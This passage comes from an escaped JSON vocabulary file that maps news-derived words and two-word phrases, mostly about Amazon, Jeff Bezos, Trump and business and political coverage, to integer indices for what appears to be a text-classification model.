drivers\": 13305,\n  \"created revenue\": 13306,\n  \"korea gives\": 13307,\n  \"policy makers\": 13308,\n  \"sheryl palmer\": 13309,\n  \"billionaire denied\": 13310,\n  \"csco reported\": 13311,\n  \"tobias hase\": 13312,\n  \"legislation long\": 13313,\n  \"education funding\": 13314,\n  \"pressing switch\": 13315,\n  \"135 sales\": 13316,\n  \"imageurl\": 13317,\n  \"just tripping\": 13318,\n  \"pharmacy chain\": 13319,\n  \"states planned\": 13320,\n  \"conservative fox\": 13321,\n  \"trips year\": 13322,\n  \"prince mohamed\": 13323,\n  \"conversing\": 13324,\n  \"mutual friend\": 13325,\n  \"vote listen\": 13326,\n  \"tenn doyle\": 13327,\n  \"flying technology\": 13328,\n  \"investor relationsamazon\": 13329,\n  \"enforcement investigation\": 13330,\n  \"person mail\": 13331,\n  \"maintained sears\": 13332,\n  \"meeting wouldn\": 13333,\n  \"relationship accident\": 13334,\n  \"criminal conduct\": 13335,\n  \"democrat\": 13336,\n  \"386 million\": 13337,\n  \"shouldinvestigate\": 13338,\n  \"clearly demonstrates\": 13339,\n  \"large numbers\": 13340,\n  \"subsidizing profits\": 13341,\n  \"campus location\": 13342,\n  \"googleplay youtube\": 13343,\n  \"bring slightly\": 13344,\n  \"form stamps\": 13345,\n  \"chemical uber\": 13346,\n  \"cigarettes posted\": 13347,\n  \"approved\": 13348,\n  \"indirect jobs\": 13349,\n  \"000 asians\": 13350,\n  \"pew poll\": 13351,\n  \"ended recently\": 13352,\n  \"host talent\": 13353,\n  \"based rates\": 13354,\n  \"pace unprecedented\": 13355,\n  \"narratives created\": 13356,\n  \"tax experts\": 13357,\n  \"perioden read\": 13358,\n  \"choose strategically\": 13359,\n  \"valley amazon\": 13360,\n  \"pete tucker\": 13361,\n  \"merino wool\": 13362,\n  \"ryan paul\": 13363,\n  \"potential fines\": 13364,\n  \"suffering crippling\": 13365,\n  \"aed awareness\": 13366,\n  \"technology born\": 13367,\n  \"tests including\": 13368,\n  \"elaborates\": 13369,\n  \"journalist asked\": 13370,\n  \"15k month\": 13371,\n  \"corporation fdx\": 13372,\n  \"solid high\": 13373,\n  \"emotions ran\": 13374,\n  \"bezos sat\": 13375,\n  \"gq today\": 13376,\n  \"nti vaxxers\": 13377,\n  \"support amazon\": 13378,\n  \"2017 offered\": 13379,\n  \"university hospital\": 13380,\n  \"parcel rate\": 13381,\n  \"admirable especially\": 13382,\n  \"shares 673\": 13383,\n  \"sellers dealing\": 13384,\n  \"afternoon virginia\": 13385,\n  \"increasingly dependent\": 13386,\n  \"drop isn\": 13387,\n  \"sufficient\": 13388,\n  \"bret baier\": 13389,\n  \"county medical\": 13390,\n  \"millions\": 13391,\n  \"slogan states\": 13392,\n  \"insider een\": 13393,\n  \"final video\": 13394,\n  \"mair lost\": 13395,\n  \"source link\": 13396,\n  \"lee zeldin\": 13397,\n  \"maps iot\": 13398,\n  \"morning shift\": 13399,\n  \"trump recommended\": 13400,\n  \"new yorkers\": 13401,\n  \"contacts\": 13402,\n  \"pants\": 13403,\n  \"traffic lights\": 13404,\n  \"executive laura\": 13405,\n  \"rekognition contracts\": 13406,\n  \"disclosure statement\": 13407,\n  \"lauding saudi\": 13408,\n  \"stop retailer\": 13409,\n  \"puzzler\": 13410,\n  \"theorist joem\": 13411,\n  \"meet services\": 13412,\n  \"2020 nj\": 13413,\n  \"seattle suck\": 13414,\n  \"added costs\": 13415,\n  \"security official\": 13416,\n  \"219 nd2pss\": 13417,\n  \"inch\": 13418,\n  \"keeping indigenous\": 13419,\n  \"component did\": 13420,\n  \"losses citi\": 13421,\n  \"edition madeline\": 13422,\n  \"detroit instead\": 13423,\n  \"settled slightly\": 13424,\n  \"society trump\": 13425,\n  \"adding thousands\": 13426,\n  \"921\": 13427,\n  \"national demographic\": 13428,\n  \"beautiful voice\": 13429,\n  \"tweet jeff\": 13430,\n  \"bezos pearlstein\": 13431,\n  \"michael beckerman\": 13432,\n  \"virginia retirement\": 13433,\n  \"businesstelegraph\": 13434,\n  \"despite privacy\": 13435,\n  \"financially hurts\": 13436,\n  \"recent withdrawal\": 13437,\n  \"household employee\": 13438,\n  \"bad brian\": 13439,\n  \"ling kent\": 13440,\n  \"salles convicted\": 13441,\n  \"meredith\": 13442,\n  \"website dedicated\": 13443,\n  \"1971 bob\": 13444,\n  \"escaped virginia\": 13445,\n  \"acosta victory\": 13446,\n  \"jeff just\": 13447,\n  \"infographic\": 13448,\n  \"paying retailers\": 13449,\n  \"site says\": 13450,\n  \"astronomical taxpayer\": 13451,\n  \"insurance broker\": 13452,\n  \"rider charged\": 13453,\n  \"profit peddling\": 13454,\n  \"arbitration rival\": 13455,\n  \"utf8\": 13456,\n  \"brazilian history\": 13457,\n  \"venhuizen growth\": 13458,\n  \"amazon dominance\": 13459,\n  \"meddling initially\": 13460,\n  \"smb market\": 13461,\n  \"core audience\": 13462,\n  \"entree\": 13463,\n  \"boyfriends\": 13464,\n  \"price cutting\": 13465,\n  \"trump removed\": 13466,\n  \"stretch run\": 13467,\n  \"longest run\": 13468,\n  \"metapack\": 13469,\n  \"byline good\": 13470,\n  \"winds expected\": 13471,\n  \"handling trump\": 13472,\n  \"markay\": 13473,\n  \"fit different\": 13474,\n  \"591 billion\": 13475,\n  \"waving ghanaian\": 13476,\n  \"businessman jeff\": 13477,\n  \"allowing advertisers\": 13478,\n  \"certain societal\": 13479,\n  \"bounce market\": 13480,\n  \"senate staffer\": 13481,\n  \"party french\": 13482,\n  \"dca\": 13483,\n  \"john woolfolk\": 13484,\n  \"roache\": 13485,\n  \"von maur\": 13486,\n  \"twilight international\": 13487,\n  \"increased dominance\": 13488,\n  \"blumenthal ct\": 13489,\n  \"colombia trip\": 13490,\n  \"house blue\": 13491,\n  \"malkovich\": 13492,\n  \"drug benefits\": 13493,\n  \"frmr campaign\": 13494,\n  \"frostbite\": 13495,\n  \"billion annually\": 13496,\n  \"oil rich\": 13497,\n  \"851\": 13498,\n  \"create produce\": 13499,\n  \"kiese\": 13500,\n  \"islamic ex\": 13501,\n  \"phoenix woman\": 13502,\n  \"compiling\": 13503,\n  \"poverty pollution\": 13504,\n  \"weighed\": 13505,\n  \"a4ee q1\": 13506,\n  \"prospects doorsteps\": 13507,\n  \"small landowners\": 13508,\n  \"defines extortion\": 13509,\n  \"noncooperation\": 13510,\n  \"newly patented\": 13511,\n  \"pitch ap\": 13512,\n  \"especially women\": 13513,\n  \"graduate students\": 13514,\n  \"video vaccines\": 13515,\n  \"eruption cbs\": 13516,\n  \"animation\": 13517,\n  \"new evidence\": 13518,\n  \"half separating\": 13519,\n  \"swamp does\": 13520,\n  \"competition alcoa\": 13521,\n  \"creates\": 13522,\n  \"econ\\u00f4mico\": 13523,\n  \"high shipping\": 13524,\n  \"english 2019\": 13525,\n  \"000 contractors\": 13526,\n  \"11s disappointed\": 13527,\n  \"famously allergic\": 13528,\n  \"jet amazon\": 13529,\n  \"actual cost\": 13530,\n  \"chief toni\": 13531,\n  \"costco wholesale\": 13532,\n  \"billion netflix\": 13533,\n  \"ccoomadrid\": 13534,\n  \"wong sessions\": 13535,\n  \"stephen colbert\": 13536,\n  \"won believe\": 13537,\n  \"executives kovach\": 13538,\n  \"direct assault\": 13539,\n  \"inequality ahead\": 13540,\n  \"senate armed\": 13541,\n  \"york jets\": 13542,\n  \"kristen aiken\": 13543,\n  \"ahead canada\": 13544,\n  \"france calls\": 13545,\n  \"probe federal\": 13546,\n  \"eads\": 13547,\n  \"additional office\": 13548,\n  \"episodes follows\": 13549,\n  \"colorful canvas\": 13550,\n  \"start demanding\": 13551,\n  \"articlebundlehash\": 13552,\n  \"different hat\": 13553,\n  \"shares immediately\": 13554,\n  \"major metro\": 13555,\n  \"wandering\": 13556,\n  \"curb immigration\": 13557,\n  \"sexual arousal\": 13558,\n  \"written op\": 13559,\n  \"senator claire\": 13560,\n  \"net jesse\": 13561,\n  \"turn losses\": 13562,\n  \"economies depend\": 13563,\n  \"29348 s4a\": 13564,\n  \"group distinguishes\": 13565,\n  \"occasions ironically\": 13566,\n  \"preordains\": 13567,\n  \"china north\": 13568,\n  \"fallows anthony\": 13569,\n  \"outlawed\": 13570,\n  \"times editor\": 13571,\n  \"named john\": 13572,\n  \"street strategies\": 13573,\n  \"strip headliner\": 13574,\n  \"1999 time\": 13575,\n  \"resources located\": 13576,\n  \"close ally\": 13577,\n  \"queens saying\": 13578,\n  \"v9 i9\": 13579,\n  \"aforementioned\": 13580,\n  \"brk dumped\": 13581,\n  \"smaller stuff\": 13582,\n  \"asshole donald\": 13583,\n  \"race 56am\": 13584,\n  \"culture change\": 13585,\n  \"kicking ass\": 13586,\n  \"alison kosik\": 13587,\n  \"amherst\": 13588,\n  \"company oppo\": 13589,\n  \"california zuckerberg\": 13590,\n  \"pandey told\": 13591,\n  \"legal guest\": 13592,\n  \"333\": 13593,\n  \"just crashed\": 13594,\n  \"establishment upside\": 13595,\n  \"thedenverchannel\": 13596,\n  \"numerous media\": 13597,\n  \"harbouring dark\": 13598,\n  \"turnaround prospects\": 13599,\n  \"rumor\": 13600,\n  \"saotome returned\": 13601,\n  \"protecting tech\": 13602,\n  \"delegitimize\": 13603,\n  \"delivery game\": 13604,\n  \"nutting\": 13605,\n  \"liability owns\": 13606,\n  \"configobj\": 13607,\n  \"commitments\": 13608,\n  \"moving\": 13609,\n  \"friendly approach\": 13610,\n  \"store business\": 13611,\n  \"muteplayerenabled false\": 13612,\n  \"santorum pa\": 13613,\n  \"hurston tells\": 13614,\n  \"grave\": 13615,\n  \"tenuous\": 13616,\n  \"donor disclosure\": 13617,\n  \"wall\": 13618,\n  \"savagely mock\": 13619,\n  \"announcement meant\": 13620,\n  \"nadia murad\": 13621,\n  \"nejjykwedt nathan\": 13622,\n  \"rheon\": 13623,\n  \"pharmaceutical trial\": 13624,\n  \"manson follower\": 13625,\n  \"tirades amazon\": 13626,\n  \"narcissistic\": 13627,\n  \"trucks retail\": 13628,\n  \"power targeted\": 13629,\n  \"landfall\": 13630,\n  \"state suspended\": 13631,\n  \"just dementia\": 13632,\n  \"trump obsessed\": 13633,\n  \"blunt\": 13634,\n  \"index tumbled\": 13635,\n  \"representative hopefully\": 13636,\n  \"ruling amazon\": 13637,\n  \"concern saying\": 13638,\n  \"bringing john\": 13639,\n  \"upheld\": 13640,\n  \"faster storage\": 13641,\n  \"duterte\": 13642,\n  \"ukhashtags ateurobiz\": 13643,\n  \"deadly force\": 13644,\n  \"zaske\": 13645,\n  \"include present\": 13646,\n  \"plain\": 13647,\n  \"store developed\": 13648,\n  \"sweeping new\": 13649,\n  \"navy destroyer\": 13650,\n  \"divergent\": 13651,\n  \"hotels cults\": 13652,\n  \"thatis coming\": 13653,\n  \"amazon expanded\": 13654,\n  \"breaking elkan\": 13655,\n  \"public services\": 13656,\n  \"policy stimulus\": 13657,\n  \"portfolio managers\": 13658,\n  \"shell companies\": 13659,\n  \"viewpoints\": 13660,\n  \"litigator devin\": 13661,\n  \"giant outright\": 13662,\n  \"times saul\": 13663,\n  \"intrigue sexual\": 13664,\n  \"exciting cause\": 13665,\n  \"proceed lessons\": 13666,\n  \"latest updates\": 13667,\n  \"complicated subway\": 13668,\n  \"maybe just\": 13669,\n  \"half amazon\": 13670,\n  \"elections whatsapp\": 13671,\n  \"voters hoping\": 13672,\n  \"agonized\": 13673,\n  \"just luck\": 13674,\n  \"profile puts\": 13675,\n  \"combined consist\": 13676,\n  \"million banking\": 13677,\n  \"unsuccessful attempts\": 13678,\n  \"anya tynio\": 13679,\n  \"grants bolster\": 13680,\n  \"gibney going\": 13681,\n  \"federation pwc\": 13682,\n  \"completely legitimate\": 13683,\n  \"amazon taxes\": 13684,\n  \"climbed north\": 13685,\n  \"rights lawyer\": 13686,\n  \"florian hense\": 13687,\n  \"writing book\": 13688,\n  \"shares worth\": 13689,\n  \"press information\": 13690,\n  \"delegate\": 13691,\n  \"tcot tnmorg\": 13692,\n  \"risk rep\": 13693,\n  \"speaking people\": 13694,\n  \"bunch aws\": 13695,\n  \"wasn based\": 13696,\n  \"corporate figure\": 13697,\n  \"outside kirstjen\": 13698,\n  \"amazon applications\": 13699,\n  \"states delivers\": 13700,\n  \"executive lectures\": 13701,\n  \"follow ben\": 13702,\n  \"spotlight rubenstein\": 13703,\n  \"years pressuring\": 13704,\n  \"author daniel\": 13705,\n  \"sarcastically\": 13706,\n  \"sees different\": 13707,\n  \"queens home\": 13708,\n  \"shot footage\": 13709,\n  \"pijijiapan\": 13710,\n  \"amazon secured\": 13711,\n  \"goods purchased\": 13712,\n  \"roughly 238\": 13713,\n  \"martha stewart\": 13714,\n  \"user computers\": 13715,\n  \"morals clause\": 13716,\n  \"chad robins\": 13717,\n  \"space ants\": 13718,\n  \"coup flipping\": 13719,\n  \"article critical\": 13720,\n  \"easy propaganda\": 13721,\n  \"survey health\": 13722,\n  \"bartiromo couple\": 13723,\n  \"democrats surprisingly\": 13724,\n  \"lisota burgeoning\": 13725,\n  \"mair emailed\": 13726,\n  \"stable business\": 13727,\n  \"including credit\": 13728,\n  \"anti trump\": 13729,\n  \"spate\": 13730,\n  \"amsterdam based\": 13731,\n  \"twitter post\": 13732,\n  \"released politico\": 13733,\n  \"blasio accountable\": 13734,\n  \"futureworks makerspace\": 13735,\n  \"industry reveals\": 13736,\n  \"laws compared\": 13737,\n  \"shopping extravaganza\": 13738,\n  \"nascent collaboration\": 13739,\n  \"report patriots\": 13740,\n  \"romania money\": 13741,\n  \"facet partisan\": 13742,\n  \"asked don\": 13743,\n  \"philip bump\": 13744,\n  \"sipping\": 13745,\n  \"central nervous\": 13746,\n  \"don earn\": 13747,\n  \"amazon requests\": 13748,\n  \"spectrem\": 13749,\n  \"profit forecasts\": 13750,\n  \"jerusalem doing\": 13751,\n  \"practise\": 13752,\n  \"biggest publicly\": 13753,\n  \"contentment leave\": 13754,\n  \"pillpack online\": 13755,\n  \"uninterested\": 13756,\n  \"allegations politics\": 13757,\n  \"reliable systems\": 13758,\n  \"skin eliana\": 13759,\n  \"alleviate poverty\": 13760,\n  \"videotape bob\": 13761,\n  \"atomic energy\": 13762,\n  \"watching currentvideocollectionid\": 13763,\n  \"employees yikes\": 13764,\n  \"day daily\": 13765,\n  \"rekognition facial\": 13766,\n  \"surrounds\": 13767,\n  \"samir\": 13768,\n  \"federal benefits\": 13769,\n  \"marketplace owned\": 13770,\n  \"exaltation\": 13771,\n  \"moral\": 13772,\n  \"city reuters\": 13773,\n  \"army creates\": 13774,\n  \"accuser nyt\": 13775,\n  \"officially hits\": 13776,\n  \"defiant\": 13777,\n  \"scenarios\": 13778,\n  \"1980\": 13779,\n  \"channel advertising\": 13780,\n  \"sears combined\": 13781,\n  \"server apple\": 13782,\n  \"host jimmy\": 13783,\n  \"i9 var\": 13784,\n  \"vigorous competitor\": 13785,\n  \"content enter\": 13786,\n  \"knopf\": 13787,\n  \"chief described\": 13788,\n  \"spaceflight company\": 13789,\n  \"regulators struggling\": 13790,\n  \"god given\": 13791,\n  \"trump phoenix\": 13792,\n  \"decode zignal\": 13793,\n  \"prevails\": 13794,\n  \"service senior\": 13795,\n  \"poet translator\": 13796,\n  \"disappointing earnings\": 13797,\n  \"room amazon\": 13798,\n  \"right value\": 13799,\n  \"gondry\": 13800,\n  \"leery\": 13801,\n  \"gerstein\": 13802,\n  \"diesel vans\": 13803,\n  \"female make\": 13804,\n  \"court handcuffed\": 13805,\n  \"upright\": 13806,\n  \"live dim\": 13807,\n  \"francisco chronicle\": 13808,\n  \"accelerated\": 13809,\n  \"shared\": 13810,\n  \"68m shares\": 13811,\n  \"threshold triggered\": 13812,\n  \"exploring establishing\": 13813,\n  \"amazon adds\": 13814,\n  \"law 2018\": 13815,\n  \"blends\": 13816,\n  \"firms trump\": 13817,\n  \"000 registered\": 13818,\n  \"interests experts\": 13819,\n  \"potentially shutting\": 13820,\n  \"michigan preliminary\": 13821,\n  \"attack published\": 13822,\n  \"ordinary shares\": 13823,\n  \"released bezos\": 13824,\n  \"current tech\": 13825,\n  \"standard talking\": 13826,\n  \"mail industry\": 13827,\n  \"prelim investigation\": 13828,\n  \"inexperienced\": 13829,\n  \"communications professor\": 13830,\n  \"central intelligence\": 13831,\n  \"a7 t5\": 13832,\n  \"sarahemcbride\": 13833,\n  \"females\": 13834,\n  \"book work\": 13835,\n  \"weightier\": 13836,\n  \"rhode\": 13837,\n  \"touch jeffrey\": 13838,\n  \"wikileaks\": 13839,\n  \"indicating sharp\": 13840,\n  \"paint used\": 13841,\n  \"rapidly including\": 13842,\n  \"america outside\": 13843,\n  \"social business\": 13844,\n  \"homeless sleeping\": 13845,\n  \"work schools\": 13846,\n  \"country tonight\": 13847,\n  \"money movement\": 13848,\n  \"hendel\": 13849,\n  \"client memo\": 13850,\n  \"gw bush\": 13851,\n  \"business president\": 13852,\n  \"publicly owned\": 13853,\n  \"career law\": 13854,\n  \"nature china\": 13855,\n  \"supercharge\": 13856,\n  \"positive proof\": 13857,\n  \"food additives\": 13858,\n  \"aggressive reporting\": 13859,\n  \"released request\": 13860,\n  \"points today\": 13861,\n  \"technology giant\": 13862,\n  \"joining amazon\": 13863,\n  \"billionaires jeff\": 13864,\n  \"emir\": 13865,\n  \"legal vote\": 13866,\n  \"knoedler\": 13867,\n  \"viglasky dance\": 13868,\n  \"dj told\": 13869,\n  \"richard painter\": 13870,\n  \"tower commercial\": 13871,\n  \"rand adam\": 13872,\n  \"009cd8\": 13873,\n  \"speakerryan senatemajldr\": 13874,\n  \"800 duty\": 13875,\n  \"criticisms leveled\": 13876,\n  \"2070 isn\": 13877,\n  \"oak cap\": 13878,\n  \"monopolies create\": 13879,\n  \"plos\": 13880,\n  \"bottle\": 13881,\n  \"hooded\": 13882,\n  \"amazon global\": 13883,\n  \"marked turnaround\": 13884,\n  \"black job\": 13885,\n  \"price investorplace\": 13886,\n  \"personally gotten\": 13887,\n  \"bloomberg apple\": 13888,\n  \"worthwhile\": 13889,\n  \"billion contingent\": 13890,\n  \"video sited\": 13891,\n  \"corporate titans\": 13892,\n  \"thrones season\": 13893,\n  \"employment laws\": 13894,\n  \"citi andrew\": 13895,\n  \"beat fiscal\": 13896,\n  \"president anger\": 13897,\n  \"senior department\": 13898,\n  \"argue executive\": 13899,\n  \"blackburn tenn\": 13900,\n  \"employees fair\": 13901,\n  \"timesince\": 13902,\n  \"employment increased\": 13903,\n  \"tech storm\": 13904,\n  \"stressful trump\": 13905,\n  \"impulsively\": 13906,\n  \"safety continually\": 13907,\n  \"amazon elastic\": 13908,\n  \"phrase bezos\": 13909,\n  \"npr california\": 13910,\n  \"shakiness\": 13911,\n  \"1st multi\": 13912,\n  \"duckworth amazon\": 13913,\n  \"independent human\": 13914,\n  \"refugee workers\": 13915,\n  \"repercussions\": 13916,\n  \"office process\": 13917,\n  \"employees overseas\": 13918,\n  \"shoots\": 13919,\n  \"related links\": 13920,\n  \"doubt aware\": 13921,\n  \"allegedly threatening\": 13922,\n  \"boss john\": 13923,\n  \"1075 words\": 13924,\n  \"house profits\": 13925,\n  \"perfect economic\": 13926,\n  \"wikileaks editor\": 13927,\n  \"federal shutdown\": 13928,\n  \"virginia wanted\": 13929,\n  \"dot secretary\": 13930,\n  \"shopping locally\": 13931,\n  \"ceo net\": 13932,\n  \"juggernaut faces\": 13933,\n  \"bestsellers\": 13934,\n  \"scientists estimate\": 13935,\n  \"alleged retaliation\": 13936,\n  \"alleged saudi\": 13937,\n  \"executive team\": 13938,\n  \"deck\": 13939,\n  \"love nest\": 13940,\n  \"investors tried\": 13941,\n  \"requiring online\": 13942,\n  \"overtly political\": 13943,\n  \"master key\": 13944,\n  \"medical devices\": 13945,\n  \"unfazed\": 13946,\n  \"photo stan\": 13947,\n  \"rouge business\": 13948,\n  \"reappraises henry\": 13949,\n  \"billion question\": 13950,\n  \"citywide ferry\": 13951,\n  \"jason segel\": 13952,\n  \"plant prefab\": 13953,\n  \"company adnoc\": 13954,\n  \"times sold\": 13955,\n  \"technology bbc\": 13956,\n  \"nerves sears\": 13957,\n  \"rubin\": 13958,\n  \"rival publication\": 13959,\n  \"enquirer chief\": 13960,\n  \"endearment\": 13961,\n  \"thrilling ride\": 13962,\n  \"financial earnings\": 13963,\n  \"yorker journalist\": 13964,\n  \"faced pressure\": 13965,\n  \"camp decide\": 13966,\n  \"presorted\": 13967,\n  \"state point\": 13968,\n  \"office employs\": 13969,\n  \"chad\": 13970,\n  \"stier president\": 13971,\n  \"ban including\": 13972,\n  \"antics\": 13973,\n  \"fair pay\": 13974,\n  \"street names\": 13975,\n  \"political ideologies\": 13976,\n  \"sean hayes\": 13977,\n  \"unaccompanied\": 13978,\n  \"238 cities\": 13979,\n  \"enforce laws\": 13980,\n  \"bbc contemporary\": 13981,\n  \"internal anti\": 13982,\n  \"shows surge\": 13983,\n  \"capital funds\": 13984,\n  \"commissioner cecilia\": 13985,\n  \"don serve\": 13986,\n  \"budget embedded\": 13987,\n  \"pipe bomb\": 13988,\n  \"major support\": 13989,\n  \"winner cbs\": 13990,\n  \"anthony anderson\": 13991,\n  \"valley donors\": 13992,\n  \"millennials choose\": 13993,\n  \"match summit\": 13994,\n  \"bezos local\": 13995,\n  \"dzanc women\": 13996,\n  \"unwritten\": 13997,\n  \"mixed economy\": 13998,\n  \"potential sale\": 13999,\n  \"leprechaun\": 14000,\n  \"senate judiciary\": 14001,\n  \"curveare\": 14002,\n  \"retail products\": 14003,\n  \"wearing just\": 14004,\n  \"second justice\": 14005,\n  \"initially trying\": 14006,\n  \"analyst understood\": 14007,\n  \"car decals\": 14008,\n  \"significantly throttle\": 14009,\n  \"shot showing\": 14010,\n  \"858\": 14011,\n  \"ibm personal\": 14012,\n  \"stocks picked\": 14013,\n  \"demand sell\": 14014,\n  \"106\": 14015,\n  \"treat chronic\": 14016,\n  \"impact big\": 14017,\n  \"headlineplaintext amazon\": 14018,\n  \"sens mitch\": 14019,\n  \"wrong group\": 14020,\n  \"avoids presidential\": 14021,\n  \"prior articles\": 14022,\n  \"francisco ap\": 14023,\n  \"scandal plagued\": 14024,\n  \"coming competition\": 14025,\n  \"don listen\": 14026,\n  \"songwriter tim\": 14027,\n  \"french way\": 14028,\n  \"physical gold\": 14029,\n  \"blasio governor\": 14030,\n  \"unfunded retiree\": 14031,\n  \"default_default index\": 14032,\n  \"neutrality online\": 14033,\n  \"states new\": 14034,\n  \"gold tumbled\": 14035,\n  \"protected bezos\": 14036,\n  \"anna cabaniss\": 14037,\n  \"castrate pigs\": 14038,\n  \"court blocks\": 14039,\n  \"wide retail\": 14040,\n  \"weekends\": 14041,\n  \"salacious materials\": 14042,\n  \"issues gen\": 14043,\n  \"exas 109\": 14044,\n  \"2018 pg\": 14045,\n  \"entice\": 14046,\n  \"great gentleman\": 14047,\n  \"protest aimed\": 14048,\n  \"retracting\": 14049,\n  \"increase annual\": 14050,\n  \"notice\": 14051,\n  \"partial\": 14052,\n  \"family ancestral\": 14053,\n  \"coming given\": 14054,\n  \"payroll taxes\": 14055,\n  \"using gun\": 14056,\n  \"stifel\": 14057,\n  \"services making\": 14058,\n  \"newspaper upgrades\": 14059,\n  \"creating schisms\": 14060,\n  \"firms undertake\": 14061,\n  \"kraft prostitution\": 14062,\n  \"seamless\": 14063,\n  \"prime amazon\": 14064,\n  \"napster pandora\": 14065,\n  \"merged entity\": 14066,\n  \"chain standards\": 14067,\n  \"cliff owen\": 14068,\n  \"alaska airlines\": 14069,\n  \"shortlist yesterday\": 14070,\n  \"legitimate international\": 14071,\n  \"disputatious\": 14072,\n  \"texts emails\": 14073,\n  \"refundable tax\": 14074,\n  \"killing confession\": 14075,\n  \"rewritten\": 14076,\n  \"brown amazon\": 14077,\n  \"faith community\": 14078,\n  \"ignored bezos\": 14079,\n  \"pigeon composition\": 14080,\n  \"warner holdings\": 14081,\n  \"amazon pop\": 14082,\n  \"2018 colossal\": 14083,\n  \"phoenix\": 14084,\n  \"return home\": 14085,\n  \"office applications\": 14086,\n  \"9000\": 14087,\n  \"ads prime\": 14088,\n  \"day face\": 14089,\n  \"department worked\": 14090,\n  \"important routines\": 14091,\n  \"11justices\": 14092,\n  \"maloney expressed\": 14093,\n  \"massive online\": 14094,\n  \"written complaints\": 14095,\n  \"steele report\": 14096,\n  \"icann inquired\": 14097,\n  \"dial tone\": 14098,\n  \"dire concerns\": 14099,\n  \"insanely\": 14100,\n  \"colors\": 14101,\n  \"new capabilities\": 14102,\n  \"online credit\": 14103,\n  \"wasn scheduled\": 14104,\n  \"president dealings\": 14105,\n  \"guide 150\": 14106,\n  \"nation cable\": 14107,\n  \"workers alike\": 14108,\n  \"cattle rancher\": 14109,\n  \"text president\": 14110,\n  \"robach\": 14111,\n  \"verge noted\": 14112,\n  \"session including\": 14113,\n  \"epidemic disease\": 14114,\n  \"windsor castle\": 14115,\n  \"horror flick\": 14116,\n  \"malicious accounts\": 14117,\n  \"called bitcoin\": 14118,\n  \"post lobbyist\": 14119,\n  \"feel special\": 14120,\n  \"chips allowed\": 14121,\n  \"p9x l9x\": 14122,\n  \"curbed shares\": 14123,\n  \"music player\": 14124,\n  \"billionaire backed\": 14125,\n  \"effectively banning\": 14126,\n  \"cb var\": 14127,\n  \"returned 115\": 14128,\n  \"livestreaming sibling\": 14129,\n  \"howard hughes\": 14130,\n  \"kidney\": 14131,\n  \"coverage read\": 14132,\n  \"silver needs\": 14133,\n  \"burdens hurts\": 14134,\n  \"saying ratings\": 14135,\n  \"mismatching faces\": 14136,\n  \"deputyattorney general\": 14137,\n  \"hungry girl\": 14138,\n  \"stop relay\": 14139,\n  \"representative alexandriaocasio\": 14140,\n  \"ceo billionaire\": 14141,\n  \"eleni vlachos\": 14142,\n  \"times article\": 14143,\n  \"story idina\": 14144,\n  \"enquirer ne\": 14145,\n  \"general crisis\": 14146,\n  \"tiger mom\": 14147,\n  \"route north\": 14148,\n  \"consumer love\": 14149,\n  \"investigator report\": 14150,\n  \"did write\": 14151,\n  \"markets tweet\": 14152,\n  \"larsson\": 14153,\n  \"cathy barrow\": 14154,\n  \"account deletion\": 14155,\n  \"short video\": 14156,\n  \"neighbors including\": 14157,\n  \"transgenders\": 14158,\n  \"tumulty\": 14159,\n  \"big driver\": 14160,\n  \"families education\": 14161,\n  \"philippine cinema\": 14162,\n  \"bikes\": 14163,\n  \"include bernie\": 14164,\n  \"runstad company\": 14165,\n  \"trump diehards\": 14166,\n  \"charitable donation\": 14167,\n  \"washington amid\": 14168,\n  \"welfare\": 14169,\n  \"pulling directly\": 14170,\n  \"worth approximately\": 14171,\n  \"deadline extension\": 14172,\n  \"witchfinder\": 14173,\n  \"sessions holds\": 14174,\n  \"castronovo host\": 14175,\n  \"world\\u0430that substantial\": 14176,\n  \"worried gift\": 14177,\n  \"economy jonathan\": 14178,\n  \"fell slightly\": 14179,\n  \"amazon judson\": 14180,\n  \"exit washington\": 14181,\n  \"provide comprehensive\": 14182,\n  \"offering steep\": 14183,\n  \"appropriately highlighted\": 14184,\n  \"annual compensation\": 14185,\n  \"brands opening\": 14186,\n  \"bruised\": 14187,\n  \"decision van\": 14188,\n  \"deaf disabled\": 14189,\n  \"budging\": 14190,\n  \"willhoit\": 14191,\n  \"streets\": 14192,\n  \"outer borough\": 14193,\n  \"customers upset\": 14194,\n  \"private confidential\": 14195,\n  \"cr mideast\": 14196,\n  \"fresh blow\": 14197,\n  \"loan portfolios\": 14198,\n  \"discourse better\": 14199,\n  \"exasperatedly\": 14200,\n  \"blackmail allegations\": 14201,\n  \"ecosystem potentially\": 14202,\n  \"women 2019\": 14203,\n  \"announcing divorce\": 14204,\n  \"reportedly makes\": 14205,\n  \"2019 slowdown\": 14206,\n  \"pat trump\": 14207,\n  \"specific conduct\": 14208,\n  \"nangs\": 14209,\n  \"low gas\": 14210,\n  \"youtube lilly\": 14211,\n  \"house coverage\": 14212,\n  \"directly pressured\": 14213,\n  \"720 foreign\": 14214,\n  \"force d16991847\": 14215,\n  \"council hearing\": 14216,\n  \"discovered alive\": 14217,\n  \"denied details\": 14218,\n  \"included emails\": 14219,\n  \"executive members\": 14220,\n  \"nude\": 14221,\n  \"billion revenue\": 14222,\n  \"resided\": 14223,\n  \"twitterstorm\": 14224,\n  \"brownworth\": 14225,\n  \"time understand\": 14226,\n  \"presidential tweet\": 14227,\n  \"don bribe\": 14228,\n  \"amzn stake\": 14229,\n  \"office alum\": 14230,\n  \"weird huh\": 14231,\n  \"j808x8vl6c eric\": 14232,\n  \"exploding\": 14233,\n  \"different bags\": 14234,\n  \"international release\": 14235,\n  \"video california\": 14236,\n  \"getinstance playvideo\": 14237,\n  \"industry captains\": 14238,\n  \"opinion good\": 14239,\n  \"retail links\": 14240,\n  \"kinja\": 14241,\n  \"jumaane williams\": 14242,\n  \"travel increasingly\": 14243,\n  \"backed away\": 14244,\n  \"navarro navarro\": 14245,\n  \"century postal\": 14246,\n  \"produced magazine\": 14247,\n  \"complicity coincides\": 14248,\n  \"cnbc smaller\": 14249,\n  \"reporter politico\": 14250,\n  \"ran high\": 14251,\n  \"spent tens\": 14252,\n  \"big catalysts\": 14253,\n  \"google doubleclick\": 14254,\n  \"nan\": 14255,\n  \"sector thousands\": 14256,\n  \"technology earnings\": 14257,\n  \"eternal correctness\": 14258,\n  \"despite competitors\": 14259,\n  \"brzezinski accused\": 14260,\n  \"antitrust questions\": 14261,\n  \"received subsidies\": 14262,\n  \"underutilized\": 14263,\n  \"businesses prime\": 14264,\n  \"trump barr\": 14265,\n  \"usps actually\": 14266,\n  \"garland covers\": 14267,\n  \"statement alongside\": 14268,\n  \"trump desired\": 14269,\n  \"city just\": 14270,\n  \"officials urge\": 14271,\n  \"podcastone racist\": 14272,\n  \"robinson childish\": 14273,\n  \"charges 